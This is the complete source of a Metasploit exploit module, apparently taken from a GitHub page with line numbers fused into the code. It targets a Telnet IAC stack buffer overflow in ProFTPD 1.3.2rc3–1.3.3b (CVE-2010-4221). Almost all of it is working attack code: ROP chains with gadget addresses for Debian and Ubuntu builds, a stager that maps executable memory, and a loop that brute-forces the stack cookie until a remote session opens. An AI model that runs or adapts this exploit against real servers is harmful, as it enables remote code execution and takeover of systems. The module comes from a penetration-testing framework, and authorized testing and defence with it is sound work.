Path: blob/master/modules/exploits/linux/ftp/proftp_telnet_iac.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78# include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Tcp1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)',16'Description' => %q{17This module exploits a stack-based buffer overflow in versions of ProFTPD18server between versions 1.3.2rc3 and 1.3.3b. By sending data containing a19large number of Telnet IAC commands, an attacker can corrupt memory and20execute arbitrary code.2122The Debian Squeeze version of the exploit uses a little ROP stub to indirectly23transfer the flow of execution to a pool buffer (the cmd_rec "res" in24"pr_cmd_read").2526The Ubuntu version uses a ROP stager to mmap RWX memory, copy a small stub27to it, and execute the stub. The stub then copies the remainder of the payload28in and executes it.2930NOTE: Most Linux distributions either do not ship a vulnerable version of31ProFTPD, or they ship a version compiled with stack smashing protection.3233Although SSP significantly reduces the probability of a single attempt34succeeding, it will not prevent exploitation. Since the daemon forks in a35default configuration, the cookie value will remain the same despite36some attempts failing. By making repeated requests, an attacker can eventually37guess the cookie value and exploit the vulnerability.3839The cookie in Ubuntu has 24-bits of entropy. This reduces the effectiveness40and could allow exploitation in semi-reasonable amount of time.41},42'Author' => [ 'jduck' ],43'References' => [44['CVE', '2010-4221'],45['OSVDB', '68985'],46['BID', '44562']47],48'DefaultOptions' => {49'EXITFUNC' => 'process',50'PrependChrootBreak' => true51},52'Privileged' => true,53'Payload' => {54'Space' => 4096,55# NOTE: \xff are avoided here so we can control the number of them being sent.56'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\xff",57'DisableNops' => true58},59'Platform' => [ 'linux' ],60'Targets' => [61#62# Automatic targeting via fingerprinting63#64[ 'Automatic Targeting', { 'auto' => true } ],6566#67# This special one comes first since we dont want its index changing.68#69[70'Debug',71{72'IACCount' => 8192, # should cause crash writing off end of stack73'Offset' => 0,74'Ret' => 0x41414242,75'Writable' => 0x4343454576}77],7879#80# specific targets81#8283# NOTE: this minimal rop works most of the time, but it can fail84# if the proftpd pool memory is in a different order for whatever reason...85[86'ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1',87{88'IACCount' => 4096 + 16,89'Offset' => 0x102c - 4,90# NOTE: All addresses are from the proftpd binary91'Ret' => 0x805a547, # pop esi / pop ebp / ret92'Writable' => 0x80e81a0, # .data93'RopStack' =>94[95# Writable is here960xcccccccc, # unused970x805a544, # mov eax,esi / pop ebx / pop esi / pop ebp / ret980xcccccccc, # becomes ebx990xcccccccc, # becomes esi1000xcccccccc, # becomes ebp101# quadruple deref the res pointer :)1020x8068886, # mov eax,[eax] / ret1030x8068886, # mov eax,[eax] / ret1040x8068886, # mov eax,[eax] / ret1050x8068886, # mov eax,[eax] / ret106# skip the pool chunk header1070x805bd8e, # inc eax / adc cl, cl / ret1080x805bd8e, # inc eax / adc cl, cl / ret1090x805bd8e, # inc eax / adc cl, cl / ret1100x805bd8e, # inc eax / adc cl, cl / ret1110x805bd8e, # inc eax / adc cl, cl / ret1120x805bd8e, # inc eax / adc cl, cl / ret1130x805bd8e, # inc eax / adc cl, cl / ret1140x805bd8e, # inc eax / adc cl, cl / ret1150x805bd8e, # inc eax / adc cl, cl / ret1160x805bd8e, # inc eax / adc cl, cl / ret1170x805bd8e, # inc eax / adc cl, cl / ret1180x805bd8e, # inc eax / adc cl, cl / ret1190x805bd8e, # inc eax / adc cl, cl / ret1200x805bd8e, # inc eax / adc cl, cl / ret1210x805bd8e, # inc eax / adc cl, cl / ret1220x805bd8e, # inc eax / adc cl, cl / ret123# execute the data :)1240x0805c26c, # jmp eax125]126}127],128129# For the version compiled with symbols :)130[131'ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)',132{133'IACCount' => 4096 + 16,134'Offset' => 0x1028 - 4,135# NOTE: All addresses are from the proftpd binary136'Writable' => 0x80ec570, # .data137'Ret' => 0x80d78c2, # pop esi / pop ebp / ret138'RopStack' =>139[140# Writable is here141# 0x0808162a, # jmp esp (works w/esp fixup)1420xcccccccc, # unused becomes ebp1430x80d78c2, # mov eax,esi / pop esi / pop ebp / ret1440xcccccccc, # unused becomes esi1450xcccccccc, # unused becomes ebp146# quadruple deref the res pointer :)1470x806a915, # mov eax,[eax] / pop ebp / ret1480xcccccccc, # unused becomes ebp1490x806a915, # mov eax,[eax] / pop ebp / ret1500xcccccccc, # unused becomes ebp1510x806a915, # mov eax,[eax] / pop ebp / ret1520xcccccccc, # unused becomes ebp1530x806a915, # mov eax,[eax] / pop ebp / ret1540xcccccccc, # unused becomes ebp155# skip the pool chunk header1560x805d6a9, # inc eax / adc cl, cl / ret1570x805d6a9, # inc eax / adc cl, cl / ret1580x805d6a9, # inc eax / adc cl, cl / ret1590x805d6a9, # inc eax / adc cl, cl / ret1600x805d6a9, # inc eax / adc cl, cl / ret1610x805d6a9, # inc eax / adc cl, cl / ret1620x805d6a9, # inc eax / adc cl, cl / ret1630x805d6a9, # inc eax / adc cl, cl / ret1640x805d6a9, # inc eax / adc cl, cl / ret1650x805d6a9, # inc eax / adc cl, cl / ret1660x805d6a9, # inc eax / adc cl, cl / ret1670x805d6a9, # inc eax / adc cl, cl / ret1680x805d6a9, # inc eax / adc cl, cl / ret1690x805d6a9, # inc eax / adc cl, cl / ret1700x805d6a9, # inc eax / adc cl, cl / ret1710x805d6a9, # inc eax / adc cl, cl / ret172# execute the data :)1730x08058de6, # jmp eax174]175}176],177178[179'ProFTPD 1.3.2c Server (Ubuntu 10.04)',180{181'IACCount' => 1018,182'Offset' => 0x420,183'CookieOffset' => -0x20,184'Writable' => 0x80db3a0, # becomes esi (beginning of .data)185'Ret' => 0x805389b, # pop esi / pop ebp / ret186'RopStack' =>187[1880xcccccccc, # becomes ebp1891900x8080f04, # pop eax / ret1910x80db330, # becomes eax (GOT of mmap64)1921930x806a716, # mov eax, [eax] / ret1940x805dd5c, # jmp eax1950x80607b2, # add esp, 0x24 / pop ebx / pop ebp / ret196# mmap args1970, 0x20000, 0x7, 0x22, 0xffffffff, 0,1980, # unused1990xcccccccc, # unused2000xcccccccc, # unused2010x100000000 - 0x5d5b24c4 + 0x80db3a4, # becomes ebx2020xcccccccc, # becomes ebp203204# note, ebx gets fixed above :)205# 0xfe in 'ah' doesn't matter since we have more than enough space.206# now, load an instruction to store to eax2070x808b542, # pop edx / mov ah, 0xfe / inc dword ptr [ebx+0x5d5b24c4] / ret208# becomes edx - mov [eax+ebp*4]; ebx / ret209"\x89\x1c\xa8\xc3".unpack('V').first,210211# store it :)2120x805c2d0, # mov [eax], edx / add esp, 0x10 / pop ebx / pop esi / pop ebp / ret2130xcccccccc, # unused2140xcccccccc, # unused2150xcccccccc, # unused2160xcccccccc, # unused2170xcccccccc, # becomes ebx2180xcccccccc, # becomes esi2190xcccccccc, # becomes ebp220221# Copy the following stub:222# "\x8d\xb4\x24\x21\xfb\xff\xff" # lea esi, [esp-0x4df]223# "\x8d\x78\x12" # lea edi, [eax+0x12]224# "\x6a\x7f" # push 0x7f225# "\x59" # pop ecx226# "\xf2\xa5" # rep movsd2272280x80607b5, # pop ebx / pop ebp / ret2290xfb2124b4, # becomes ebx2301, # becomes ebp2310x805dd5c, # jmp eax2322330x80607b5, # pop ebx / pop ebp / ret2340x788dffff, # becomes ebx2352, # becomes ebp2360x805dd5c, # jmp eax2372380x80607b5, # pop ebx / pop ebp / ret2390x597f6a12, # becomes ebx2403, # becomes ebp2410x805dd5c, # jmp eax2422430x80607b5, # pop ebx / pop ebp / ret2440x9090a5f2, # becomes ebx2454, # becomes ebp2460x805dd5c, # jmp eax2472480x80607b5, # pop ebx / pop ebp / ret2490x8d909090, # becomes ebx2500, # becomes ebp2510x805dd5c, # jmp eax252253# hopefully we dont get here2540xcccccccc,255]256}257]258259],260'DefaultTarget' => 0,261'DisclosureDate' => '2010-11-01',262'Notes' => {263'Stability' => [CRASH_SERVICE_DOWN],264'SideEffects' => [IOC_IN_LOGS],265'Reliability' => [UNRELIABLE_SESSION]266}267)268)269270register_options(271[272Opt::RPORT(21),273]274)275end276277def check278# NOTE: We don't care if the login failed here...279connect280banner = sock.get_once || ''281282# We just want the banner to check against our targets..283vprint_status("FTP Banner: #{banner.strip}")284285status = CheckCode::Safe286if banner =~ /ProFTPD (1\.3\.[23])/i287banner_array = banner.split('.')288289if banner_array.count > 0 && !banner_array[3].nil?290# gets 1 char on the third part of version number.291relnum = banner_array[2][0..0]292tmp = banner_array[2].split(' ')293# gets extra string info of version number.294# example: 1.2.3rc ('rc' string)295extra = tmp[0][1..(tmp[0].length - 1)]296if relnum == '2'297if !extra.empty?298if extra[0..1] == 'rc'299v = extra[2..extra.length].to_i300if v && v > 2301status = CheckCode::Appears302end303else304status = CheckCode::Appears305end306end307elsif relnum == '3'308if [ '', 'a', 'b', ].include?(extra)309status = CheckCode::Appears310end311end312end313end314315disconnect316return status317end318319def exploit320connect321banner = sock.get_once || ''322323# Use a copy of the target324mytarget = target325326if target['auto']327mytarget = nil328329print_status('Automatically detecting the target...')330if (banner && (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i)))331print_status("FTP Banner: #{banner.strip}")332version = m[1]333else334fail_with(Failure::NoTarget, 'No matching target')335end336337regexp = Regexp.escape(version)338targets.each do |t|339if (t.name =~ /#{regexp}/)340mytarget = t341break342end343end344345if !mytarget346fail_with(Failure::NoTarget, 'No matching target')347end348349print_status("Selected Target: #{mytarget.name}")350else351print_status("Trying target #{mytarget.name}...")352if banner353print_status("FTP Banner: #{banner.strip}")354end355end356357# puts "attach and press any key"; bleh = $stdin.gets358359buf = ''360buf << 'SITE '361362# buf << "\xcc"363if mytarget['CookieOffset']364buf << "\x8d\xa0\xfc\xdf\xff\xff" # lea esp, [eax-0x2004]365end366buf << payload.encoded367368# The number of characters left must be odd at this point.369buf << rand_text(1) if (buf.length % 2) == 0370buf << "\xff" * (mytarget['IACCount'] - payload.encoded.length)371372buf << rand_text_alphanumeric(mytarget['Offset'] - buf.length)373374addrs = [375mytarget['Ret'],376mytarget['Writable']377].pack('V*')378379if mytarget['RopStack']380addrs << mytarget['RopStack'].map do |e|381if e == 0xcccccccc382rand_text(4).unpack('V').first383else384e385end386end.pack('V*')387end388389# Make sure we didn't introduce instability390addr_badchars = "\x09\x0a\x0b\x0c\x20"391if (idx = Rex::Text.badchar_index(addrs, addr_badchars))392fail_with(Failure::Unknown, format('One or more address contains a bad character! (0x%<char>02x @ 0x%<index>x)', char: addrs[idx, 1].unpack('C').first, index: idx))393end394395buf << addrs396buf << "\r\n"397398#399# In the case of Ubuntu, the cookie has 24-bits of entropy. Further more, it400# doesn't change while proftpd forks children. Therefore, we can try forever401# and eventually guess it correctly.402#403# NOTE: if the cookie contains one of our bad characters, we're SOL.404#405if mytarget['CookieOffset']406print_status('!!! Attempting to bruteforce the cookie value! This can takes days. !!!')407408disconnect409410max = 0xffffff00411off = mytarget['Offset'] + mytarget['CookieOffset']412413cookie = last_cookie = 0414# cookie = 0x17ccd600415416start = Time.now417last = start - 10418419until session_created?420now = Time.now421if (now - last) >= 10422perc = (cookie * 100) / max423qps = ((cookie - last_cookie) >> 8) / 10.0424print_status(format('%<perc>.2f%% complete, %<qps>.2f attempts/sec - Trying: 0x%<cookie>x', perc: perc, qps: qps, cookie: cookie))425last = now426last_cookie = cookie427end428429sd = connect(false)430sd.get_once431buf[off, 4] = [cookie].pack('V')432sd.put(buf)433disconnect(sd)434435cookie += 0x100436break if cookie > max437end438439if !session_created?440fail_with(Failure::Unknown, 'Unable to guess the cookie value, sorry :-/')441end442else443sock.put(buf)444disconnect445end446447handler448end449end450451452